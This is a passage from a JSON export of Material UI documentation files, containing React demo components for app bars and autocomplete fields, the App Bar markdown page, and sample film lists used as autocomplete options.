width: '20ch',\n      },\n    },\n  },\n}));\n\nexport default function SearchAppBar() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <AppBar position=\"static\">\n        <Toolbar>\n          <IconButton\n            size=\"large\"\n            edge=\"start\"\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            sx={{ mr: 2 }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography\n            variant=\"h6\"\n            noWrap\n            component=\"div\"\n            sx={{ flexGrow: 1, display: { xs: 'none', sm: 'block' } }}\n          >\n            MUI\n          </Typography>\n          <Search>\n            <SearchIconWrapper>\n              <SearchIcon />\n            </SearchIconWrapper>\n            <StyledInputBase\n              placeholder=\"Search…\"\n              inputProps={{ 'aria-label': 'search' }}\n            />\n          </Search>\n        </Toolbar>\n      </AppBar>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/SearchAppBar.tsx",
    "content": "import { styled, alpha } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport InputBase from '@mui/material/InputBase';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport SearchIcon from '@mui/icons-material/Search';\n\nconst Search = styled('div')(({ theme }) => ({\n  position: 'relative',\n  borderRadius: theme.shape.borderRadius,\n  backgroundColor: alpha(theme.palette.common.white, 0.15),\n  '&:hover': {\n    backgroundColor: alpha(theme.palette.common.white, 0.25),\n  },\n  marginLeft: 0,\n  width: '100%',\n  [theme.breakpoints.up('sm')]: {\n    marginLeft: theme.spacing(1),\n    width: 'auto',\n  },\n}));\n\nconst SearchIconWrapper = styled('div')(({ theme }) => ({\n  padding: theme.spacing(0, 2),\n  height: '100%',\n  position: 'absolute',\n  pointerEvents: 'none',\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'center',\n}));\n\nconst StyledInputBase = styled(InputBase)(({ theme }) => ({\n  color: 'inherit',\n  width: '100%',\n  '& .MuiInputBase-input': {\n    padding: theme.spacing(1, 1, 1, 0),\n    // vertical padding + font size from searchIcon\n    paddingLeft: `calc(1em + ${theme.spacing(4)})`,\n    transition: theme.transitions.create('width'),\n    [theme.breakpoints.up('sm')]: {\n      width: '12ch',\n      '&:focus': {\n        width: '20ch',\n      },\n    },\n  },\n}));\n\nexport default function SearchAppBar() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <AppBar position=\"static\">\n        <Toolbar>\n          <IconButton\n            size=\"large\"\n            edge=\"start\"\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            sx={{ mr: 2 }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography\n            variant=\"h6\"\n            noWrap\n            component=\"div\"\n            sx={{ flexGrow: 1, display: { xs: 'none', sm: 'block' } }}\n          >\n            MUI\n          </Typography>\n          <Search>\n            <SearchIconWrapper>\n              <SearchIcon />\n            </SearchIconWrapper>\n            <StyledInputBase\n              placeholder=\"Search…\"\n              inputProps={{ 'aria-label': 'search' }}\n            />\n          </Search>\n        </Toolbar>\n      </AppBar>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/app-bar.md",
    "content": "---\nproductId: material-ui\ntitle: App Bar React component\ncomponents: AppBar, Toolbar, Menu\ngithubLabel: 'scope: app bar'\nmaterialDesign: https://m2.material.io/components/app-bars-top\ngithubSource: packages/mui-material/src/AppBar\n---\n\n# App Bar\n\n<p class=\"description\">The App Bar displays information and actions relating to the current screen.</p>\n\nThe top App bar provides content and actions related to the current screen. It's used for branding, screen titles, navigation, and actions.\n\nIt can transform into a contextual action bar or be used as a navbar.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic App bar\n\n{{\"demo\": \"ButtonAppBar.js\", \"bg\": true}}\n\n## App bar with menu\n\n{{\"demo\": \"MenuAppBar.js\", \"bg\": true}}\n\n## App bar with responsive menu\n\n{{\"demo\": \"ResponsiveAppBar.js\", \"bg\": true}}\n\n## App bar with search field\n\nA side searchbar.\n\n{{\"demo\": \"SearchAppBar.js\", \"bg\": true}}\n\n## Responsive App bar with Drawer\n\n{{\"demo\": \"DrawerAppBar.js\", \"bg\": true,\"iframe\": true}}\n\n## App bar with a primary search field\n\nA primary searchbar.\n\n{{\"demo\": \"PrimarySearchAppBar.js\", \"bg\": true}}\n\n## Dense (desktop only)\n\n{{\"demo\": \"DenseAppBar.js\", \"bg\": true}}\n\n## Prominent\n\nA prominent app bar.\n\n{{\"demo\": \"ProminentAppBar.js\", \"bg\": true}}\n\n## Bottom App bar\n\n{{\"demo\": \"BottomAppBar.js\", \"iframe\": true, \"maxWidth\": 400}}\n\n## Fixed placement\n\nWhen you render the app bar position fixed, the dimension of the element doesn't impact the rest of the page. This can cause some part of your content to be invisible, behind the app bar. Here are 3 possible solutions:\n\n1. You can use `position=\"sticky\"` instead of fixed.\n2. You can render a second `<Toolbar />` component:\n\n```jsx\nfunction App() {\n  return (\n    <React.Fragment>\n      <AppBar position=\"fixed\">\n        <Toolbar>{/* content */}</Toolbar>\n      </AppBar>\n      <Toolbar />\n    </React.Fragment>\n  );\n}\n```\n\n3. You can use `theme.mixins.toolbar` CSS:\n\n```jsx\nconst Offset = styled('div')(({ theme }) => theme.mixins.toolbar);\n\nfunction App() {\n  return (\n    <React.Fragment>\n      <AppBar position=\"fixed\">\n        <Toolbar>{/* content */}</Toolbar>\n      </AppBar>\n      <Offset />\n    </React.Fragment>\n  );\n}\n```\n\n## Scrolling\n\nYou can use the `useScrollTrigger()` hook to respond to user scroll actions.\n\n### Hide App bar\n\nThe app bar hides on scroll down to leave more space for reading.\n\n{{\"demo\": \"HideAppBar.js\", \"iframe\": true, \"disableLiveEdit\": true}}\n\n### Elevate App bar\n\nThe app bar elevates on scroll to communicate that the user is not at the top of the page.\n\n{{\"demo\": \"ElevateAppBar.js\", \"iframe\": true, \"disableLiveEdit\": true}}\n\n### Back to top\n\nA floating action button appears on scroll to make it easy to get back to the top of the page.\n\n{{\"demo\": \"BackToTop.js\", \"iframe\": true, \"disableLiveEdit\": true}}\n\n### `useScrollTrigger([options]) => trigger`\n\n#### Arguments\n\n1. `options` (_object_ [optional]):\n   - `options.disableHysteresis` (_bool_ [optional]): Defaults to `false`. Disable the hysteresis. Ignore the scroll direction when determining the `trigger` value.\n   - `options.target` (_Node_ [optional]): Defaults to `window`.\n   - `options.threshold` (_number_ [optional]): Defaults to `100`. Change the `trigger` value when the vertical scroll strictly crosses this threshold (exclusive).\n\n#### Returns\n\n`trigger`: Does the scroll position match the criteria?\n\n#### Examples\n\n```jsx\nimport useScrollTrigger from '@mui/material/useScrollTrigger';\n\nfunction HideOnScroll(props) {\n  const trigger = useScrollTrigger();\n  return (\n    <Slide in={!trigger}>\n      <div>Hello</div>\n    </Slide>\n  );\n}\n```\n\n## Enable color on dark\n\nFollowing the [Material Design guidelines](https://m2.material.io/design/color/dark-theme.html), the `color` prop has no effect on the appearance of the app bar in dark mode.\nYou can override this behavior by setting the `enableColorOnDark` prop to `true`.\n\n{{\"demo\": \"EnableColorOnDarkAppBar.js\", \"bg\": true}}\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Asynchronous.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport CircularProgress from '@mui/material/CircularProgress';\n\nfunction sleep(duration) {\n  return new Promise((resolve) => {\n    setTimeout(() => {\n      resolve();\n    }, duration);\n  });\n}\n\nexport default function Asynchronous() {\n  const [open, setOpen] = React.useState(false);\n  const [options, setOptions] = React.useState([]);\n  const [loading, setLoading] = React.useState(false);\n\n  const handleOpen = () => {\n    setOpen(true);\n    (async () => {\n      setLoading(true);\n      await sleep(1e3); // For demo purposes.\n      setLoading(false);\n\n      setOptions([...topFilms]);\n    })();\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n    setOptions([]);\n  };\n\n  return (\n    <Autocomplete\n      sx={{ width: 300 }}\n      open={open}\n      onOpen={handleOpen}\n      onClose={handleClose}\n      isOptionEqualToValue={(option, value) => option.title === value.title}\n      getOptionLabel={(option) => option.title}\n      options={options}\n      loading={loading}\n      renderInput={(params) => (\n        <TextField\n          {...params}\n          label=\"Asynchronous\"\n          slotProps={{\n            ...params.slotProps,\n            input: {\n              ...params.slotProps.input,\n              endAdornment: (\n                <React.Fragment>\n                  {loading ? <CircularProgress color=\"inherit\" size={20} /> : null}\n                  {params.slotProps.input.endAdornment}\n                </React.Fragment>\n              ),\n            },\n          }}\n        />\n      )}\n    />\n  );\n}\n\n// Top films as rated by IMDb users. http://www.imdb.com/chart/top\nconst topFilms = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Asynchronous.tsx",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport CircularProgress from '@mui/material/CircularProgress';\n\ninterface Film {\n  title: string;\n  year: number;\n}\n\nfunction sleep(duration: number): Promise<void> {\n  return new Promise<void>((resolve) => {\n    setTimeout(() => {\n      resolve();\n    }, duration);\n  });\n}\n\nexport default function Asynchronous() {\n  const [open, setOpen] = React.useState(false);\n  const [options, setOptions] = React.useState<readonly Film[]>([]);\n  const [loading, setLoading] = React.useState(false);\n\n  const handleOpen = () => {\n    setOpen(true);\n    (async () => {\n      setLoading(true);\n      await sleep(1e3); // For demo purposes.\n      setLoading(false);\n\n      setOptions([...topFilms]);\n    })();\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n    setOptions([]);\n  };\n\n  return (\n    <Autocomplete\n      sx={{ width: 300 }}\n      open={open}\n      onOpen={handleOpen}\n      onClose={handleClose}\n      isOptionEqualToValue={(option, value) => option.title === value.title}\n      getOptionLabel={(option) => option.title}\n      options={options}\n      loading={loading}\n      renderInput={(params) => (\n        <TextField\n          {...params}\n          label=\"Asynchronous\"\n          slotProps={{\n            ...params.slotProps,\n            input: {\n              ...params.slotProps.input,\n              endAdornment: (\n                <React.Fragment>\n                  {loading ? <CircularProgress color=\"inherit\" size={20} /> : null}\n                  {params.slotProps.input.endAdornment}\n                </React.Fragment>\n              ),\n            },\n          }}\n        />\n      )}\n    />\n  );\n}\n\n// Top films as rated by IMDb users. http://www.imdb.com/chart/top\nconst topFilms = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/AutocompleteHint.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\n\nexport default function AutocompleteHint() {\n  const hint = React.useRef('');\n  const [inputValue, setInputValue] = React.useState('');\n  return (\n    <Autocomplete\n      onKeyDown={(event) => {\n        if (event.key === 'Tab') {\n          if (hint.current) {\n            setInputValue(hint.current);\n            event.preventDefault();\n          }\n        }\n      }}\n      onClose={() => {\n        hint.current = '';\n      }}\n      onChange={(event, newValue) => {\n        setInputValue(newValue && newValue.label ? newValue.label : '');\n      }}\n      disablePortal\n      inputValue={inputValue}\n      id=\"combo-box-hint-demo\"\n      options={top100Films}\n      sx={{ width: 300 }}\n      renderInput={(params) => {\n        return (\n          <Box sx={{ position: 'relative' }}>\n            <Typography\n              sx={{\n                position: 'absolute',\n                opacity: 0.5,\n                left: 14,\n                top: 16,\n                overflow: 'hidden',\n                whiteSpace: 'nowrap',\n                width: 'calc(100% - 75px)', // Adjust based on padding of TextField\n              }}\n            >\n              {hint.current}\n            </Typography>\n            <TextField\n              {...params}\n              onChange={(event) => {\n                const newValue = event.target.value;\n                setInputValue(newValue);\n                const matchingOption = top100Films.find((option) =>\n                  option.label.startsWith(newValue),\n                );\n\n                if (newValue && matchingOption) {\n                  hint.current = matchingOption.label;\n                } else {\n                  hint.current = '';\n                }\n              }}\n              label=\"Movie\"\n            />\n          </Box>\n        );\n      }}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { label: 'The Shawshank Redemption', year: 1994 },\n  { label: 'The Godfather', year: 1972 },\n  { label: 'The Godfather: Part II', year: 1974 },\n  { label: 'The Dark Knight', year: 2008 },\n  { label: '12 Angry Men', year: 1957 },\n  { label: \"Schindler's List\", year: 1993 },\n  { label: 'Pulp Fiction', year: 1994 },\n  {\n    label: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { label: 'The Good, the Bad and the Ugly', year: 1966 },\n  { label: 'Fight Club', year: 1999 },\n  {\n    label: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    label: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { label: 'Forrest Gump', year: 1994 },\n  { label: 'Inception', year: 2010 },\n  {\n    label: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { label: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { label: 'Goodfellas', year: 1990 },\n  { label: 'The Matrix', year: 1999 },\n  { label: 'Seven Samurai', year: 1954 },\n  {\n    label: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { label: 'City of God', year: 2002 },\n  { label: 'Se7en', year: 1995 },\n  { label: 'The Silence of the Lambs', year: 1991 },\n  { label: \"It's a Wonderful Life\", year: 1946 },\n  { label: 'Life Is Beautiful', year: 1997 },\n  { label: 'The Usual Suspects', year: 1995 },\n  { label: 'Léon: The Professional', year: 1994 },\n  { label: 'Spirited Away', year: 2001 },\n  { label: 'Saving Private Ryan', year: 1998 },\n  { label: 'Once Upon a Time in the West', year: 1968 },\n  { label: 'American History X', year: 1998 },\n  { label: 'Interstellar', year: 2014 },\n  { label: 'Casablanca', year: 1942 },\n  { label: 'City Lights', year: 1931 },\n  { label: 'Psycho', year: 1960 },\n  { label: 'The Green Mile', year: 1999 },\n  { label: 'The Intouchables', year: 2011 },\n  { label: 'Modern Times', year: 1936 },\n  { label: 'Raiders of the Lost Ark', year: 1981 },\n  { label: 'Rear Window', year: 1954 },\n  { label: 'The Pianist', year: 2002 },\n  { label: 'The Departed', year: 2006 },\n  { label: 'Terminator 2: Judgment Day', year: 1991 },\n  { label: 'Back to the Future', year: 1985 },\n  { label: 'Whiplash', year: 2014 },\n  { label: 'Gladiator', year: 2000 },\n  { label: 'Memento', year: 2000 },\n  { label: 'The Prestige', year: 2006 },\n  { label: 'The Lion King', year: 1994 },\n  { label: 'Apocalypse Now', year: 1979 },\n  { label: 'Alien', year: 1979 },\n  { label: 'Sunset Boulevard', year: 1950 },\n  {\n    label: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { label: 'The Great Dictator', year: 1940 },\n  { label: 'Cinema Paradiso', year: 1988 },\n  { label: 'The Lives of Others', year: 2006 },\n  { label: 'Grave of the Fireflies', year: 1988 },\n  { label: 'Paths of Glory', year: 1957 },\n  { label: 'Django Unchained', year: 2012 },\n  { label: 'The Shining', year: 1980 },\n  { label: 'WALL·E', year: 2008 },\n  { label: 'American Beauty', year: 1999 },\n  { label: 'The Dark Knight Rises', year: 2012 },\n  { label: 'Princess Mononoke', year: 1997 },\n  { label: 'Aliens', year: 1986 },\n  { label: 'Oldboy', year: 2003 },\n  { label: 'Once Upon a Time in America', year: 1984 },\n  { label: 'Witness for the Prosecution', year: 1957 },\n  { label: 'Das Boot', year: 1981 },\n  { label: 'Citizen Kane', year: 1941 },\n  { label: 'North by Northwest', year: 1959 },\n  { label: 'Vertigo', year: 1958 },\n  {\n    label: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { label: 'Reservoir Dogs', year: 1992 },\n  { label: 'Braveheart', year: 1995 },\n  { label: 'M', year: 1931 },\n  { label: 'Requiem for a Dream', year: 2000 },\n  { label: 'Amélie', year: 2001 },\n  { label: 'A Clockwork Orange', year: 1971 },\n  { label: 'Like Stars on Earth', year: 2007 },\n  { label: 'Taxi Driver', year: 1976 },\n  { label: 'Lawrence of Arabia', year: 1962 },\n  { label: 'Double Indemnity', year: 1944 },\n  {\n    label: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { label: 'Amadeus', year: 1984 },\n  { label: 'To Kill a Mockingbird', year: 1962 },\n  { label: 'Toy Story 3', year: 2010 },\n  { label: 'Logan', year: 2017 },\n  { label: 'Full Metal Jacket', year: 1987 },\n  { label: 'Dangal', year: 2016 },\n  { label: 'The Sting', year: 1973 },\n  { label: '2001: A Space Odyssey', year: 1968 },\n  { label: \"Singin' in the Rain\", year: 1952 },\n  { label: 'Toy Story', year: 1995 },\n  { label: 'Bicycle Thieves', year: 1948 },\n  { label: 'The Kid', year: 1921 },\n  { label: 'Inglourious Basterds', year: 2009 },\n  { label: 'Snatch', year: 2000 },\n  { label: '3 Idiots', year: 2009 },\n  { label: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/AutocompleteHint.tsx",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\n\nexport default function AutocompleteHint() {\n  const hint = React.useRef('');\n  const [inputValue, setInputValue] = React.useState('');\n  return (\n    <Autocomplete\n      onKeyDown={(event) => {\n        if (event.key === 'Tab') {\n          if (hint.current) {\n            setInputValue(hint.current);\n            event.preventDefault();\n          }\n        }\n      }}\n      onClose={() => {\n        hint.current = '';\n      }}\n      onChange={(event, newValue) => {\n        setInputValue(newValue && newValue.label ? newValue.label : '');\n      }}\n      disablePortal\n      inputValue={inputValue}\n      id=\"combo-box-hint-demo\"\n      options={top100Films}\n      sx={{ width: 300 }}\n      renderInput={(params) => {\n        return (\n          <Box sx={{ position: 'relative' }}>\n            <Typography\n              sx={{\n                position: 'absolute',\n                opacity: 0.5,\n                left: 14,\n                top: 16,\n                overflow: 'hidden',\n                whiteSpace: 'nowrap',\n                width: 'calc(100% - 75px)', // Adjust based on padding of TextField\n              }}\n            >\n              {hint.current}\n            </Typography>\n            <TextField\n              {...params}\n              onChange={(event) => {\n                const newValue = event.target.value;\n                setInputValue(newValue);\n                const matchingOption = top100Films.find((option) =>\n                  option.label.startsWith(newValue),\n                );\n\n                if (newValue && matchingOption) {\n                  hint.current = matchingOption.label;\n                } else {\n                  hint.current = '';\n                }\n              }}\n              label=\"Movie\"\n            />\n          </Box>\n        );\n      }}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { label: 'The Shawshank Redemption', year: 1994 },\n  { label: 'The Godfather', year: 1972 },\n  { label: 'The Godfather: Part II', year: 1974 },\n  { label: 'The Dark Knight', year: 2008 },\n  { label: '12 Angry Men', year: 1957 },\n  { label: \"Schindler's List\", year: 1993 },\n  { label: 'Pulp Fiction', year: 1994 },\n  {\n    label: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { label: 'The Good, the Bad and the Ugly', year: 1966 },\n  { label: 'Fight Club', year: 1999 },\n  {\n    label: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    label: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { label: 'Forrest Gump', year: 1994 },\n  { label: 'Inception', year: 2010 },\n  {\n    label: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { label: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { label: 'Goodfellas', year: 1990 },\n  { label: 'The Matrix', year: 1999 },\n  { label: 'Seven Samurai', year: 1954 },\n  {\n    label: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { label: 'City of God', year: 2002 },\n  { label: 'Se7en', year: 1995 },\n  { label: 'The Silence of the Lambs', year: 1991 },\n  { label: \"It's a Wonderful Life\", year: 1946 },\n  { label: 'Life Is Beautiful', year: 1997 },\n  { label: 'The Usual Suspects', year: 1995 },\n  { label: 'Léon: The Professional', year: 1994 },\n  { label: 'Spirited Away', year: 2001 },\n  { label: 'Saving Private Ryan', year: 1998 },\n  { label: 'Once Upon a Time in the West', year: 1968 },\n  { label: 'American History X', year: 1998 },\n  { label: 'Interstellar', year: 2014 },\n  { label: 'Casablanca', year: 1942 },\n  { label: 'City Lights', year: 1931 },\n  { label: 'Psycho', year: 1960 },\n  { label: 'The Green Mile', year: 1999 },\n  { label: 'The Intouchables', year: 2011 },\n  { label: 'Modern Times', year: 1936 },\n  { label: 'Raiders of the Lost Ark', year: 1981 },\n  { label: 'Rear Window', year: 1954 },\n  { label: 'The Pianist', year: 2002 },\n  { label: 'The Departed', year: 2006 },\n  { label: 'Terminator 2: Judgment Day', year: 1991 },\n  { label: 'Back to the Future', year: 1985 },\n  { label: 'Whiplash', year: 2014 },\n  { label: 'Gladiator', year: 2000 },\n  { label: 'Memento', year: 2000 },\n  { label: 'The Prestige', year: 2006 },\n  { label: 'The Lion King', year: 1994 },\n  { label: 'Apocalypse Now', year: 1979 },\n  { label: 'Alien', year: 1979 },\n  { label: 'Sunset Boulevard', year: 1950 },\n  {\n    label: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { label: 'The Great Dictator', year: 1940 },\n  { label: 'Cinema Paradiso', year: 1988 },\n  { label: 'The Lives of Others', year: 2006 },\n  { label: 'Grave of the Fireflies', year: 1988 },\n  { label: 'Paths of Glory', year: 1957 },\n  { label: 'Django Unchained', year: 2012 },\n  { label: 'The Shining', year: 1980 },\n  { label: 'WALL·E', year: 2008 },\n  { label: 'American Beauty', year: 1999 },\n  { label: 'The Dark Knight Rises', year: 2012 },\n  { label: 'Princess Mononoke', year: 1997 },\n  { label: 'Aliens', year: 1986 },\n  { label: 'Oldboy', year: 2003 },\n  { label: 'Once Upon a Time in America', year: 1984 },\n  { label: 'Witness for the Prosecution', year: 1957 },\n  { label: 'Das Boot', year: 1981 },\n  { label: 'Citizen Kane', year: 1941 },\n  { label: 'North by Northwest', year: 1959 },\n  { label: 'Vertigo', year: 1958 },\n  {\n    label: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { label: 'Reservoir Dogs', year: 1992 },\n  { label: 'Braveheart', year: 1995 },\n  { label: 'M', year: 1931 },\n  { label: 'Requiem for a Dream', year: 2000 },\n  { label: 'Amélie', year: 2001 },\n  { label: 'A Clockwork Orange', year: 1971 },\n  { label: 'Like Stars on Earth', year: 2007 },\n  { label: 'Taxi Driver', year: 1976 },\n  { label: 'Lawrence of Arabia', year: 1962 },\n  { label: 'Double Indemnity', year: 1944 },\n  {\n    label: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { label: 'Amadeus', year: 1984 },\n  { label: 'To Kill a Mockingbird', year: 1962 },\n  { label: 'Toy Story 3', year: 2010 },\n  { label: 'Logan', year: 2017 },\n  { label: 'Full Metal Jacket', year: 1987 },\n  { label: 'Dangal', year: 2016 },\n  { label: 'The Sting', year: 1973 },\n  { label: '2001: A Space Odyssey', year: 1968 },\n  { label: \"Singin' in the Rain\", year: 1952 },\n  { label: 'Toy Story', year: 1995 },\n  { label: 'Bicycle Thieves', year: 1948 },\n  { label: 'The Kid', year: 1921 },\n  { label: 'Inglourious Basterds', year: 2009 },\n  { label: 'Snatch', year: 2000 },\n  { label: '3 Idiots', year: 2009 },\n  { label: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/CheckboxesTags.js",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport CheckBoxOutlineBlankIcon from '@mui/icons-material/CheckBoxOutlineBlank';\nimport CheckBoxIcon from '@mui/icons-material/CheckBox';\n\nexport default function CheckboxesTags() {\n  return (\n    <Autocomplete\n      multiple\n      id=\"checkboxes-tags-demo\"\n      options={top100Films}\n      disableCloseOnSelect\n      getOptionLabel={(option) => option.title}\n      renderOption={(props, option, { selected }) => {\n        const { key, ...optionProps } = props;\n        const SelectionIcon = selected ? CheckBoxIcon : CheckBoxOutlineBlankIcon;\n\n        return (\n          <li key={key} {...optionProps}>\n            <SelectionIcon\n              fontSize=\"small\"\n              style={{ marginRight: 8, padding: 9, boxSizing: 'content-box' }}\n            />\n            {option.title}\n          </li>\n        );\n      }}\n      style={{ width: 500 }}\n      renderInput={(params) => (\n        <TextField {...params} label=\"Checkboxes\" placeholder=\"Favorites\" />\n      )}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  